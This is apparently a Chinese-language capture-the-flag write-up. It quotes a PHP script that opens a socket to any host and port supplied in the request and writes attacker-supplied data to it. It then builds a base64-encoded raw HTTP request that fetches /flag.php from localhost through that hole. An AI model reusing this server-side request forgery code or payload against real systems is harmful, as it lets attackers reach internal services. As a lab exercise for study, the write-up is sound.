
步骤
代码分析
php
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']); //接受data参数,并base64解码。
$host=$_GET['host']; //接收host参数
$port=$_GET['port']; //接收port参数
$fp=fsockopen($host,intval($port),$error,$errstr,30); //建立sock连接
if(!$fp) {
die();
}
else {
fwrite($fp,$data); //往目标服务器写入data
while(!feof($data)) //接收返回的数据
{
echo fgets($fp,128);
}
fclose($fp);
}
像服务器写入访问flag.php的请求头,然后接收。
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
echo $out;
echo base64_encode($out)
?>
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg==
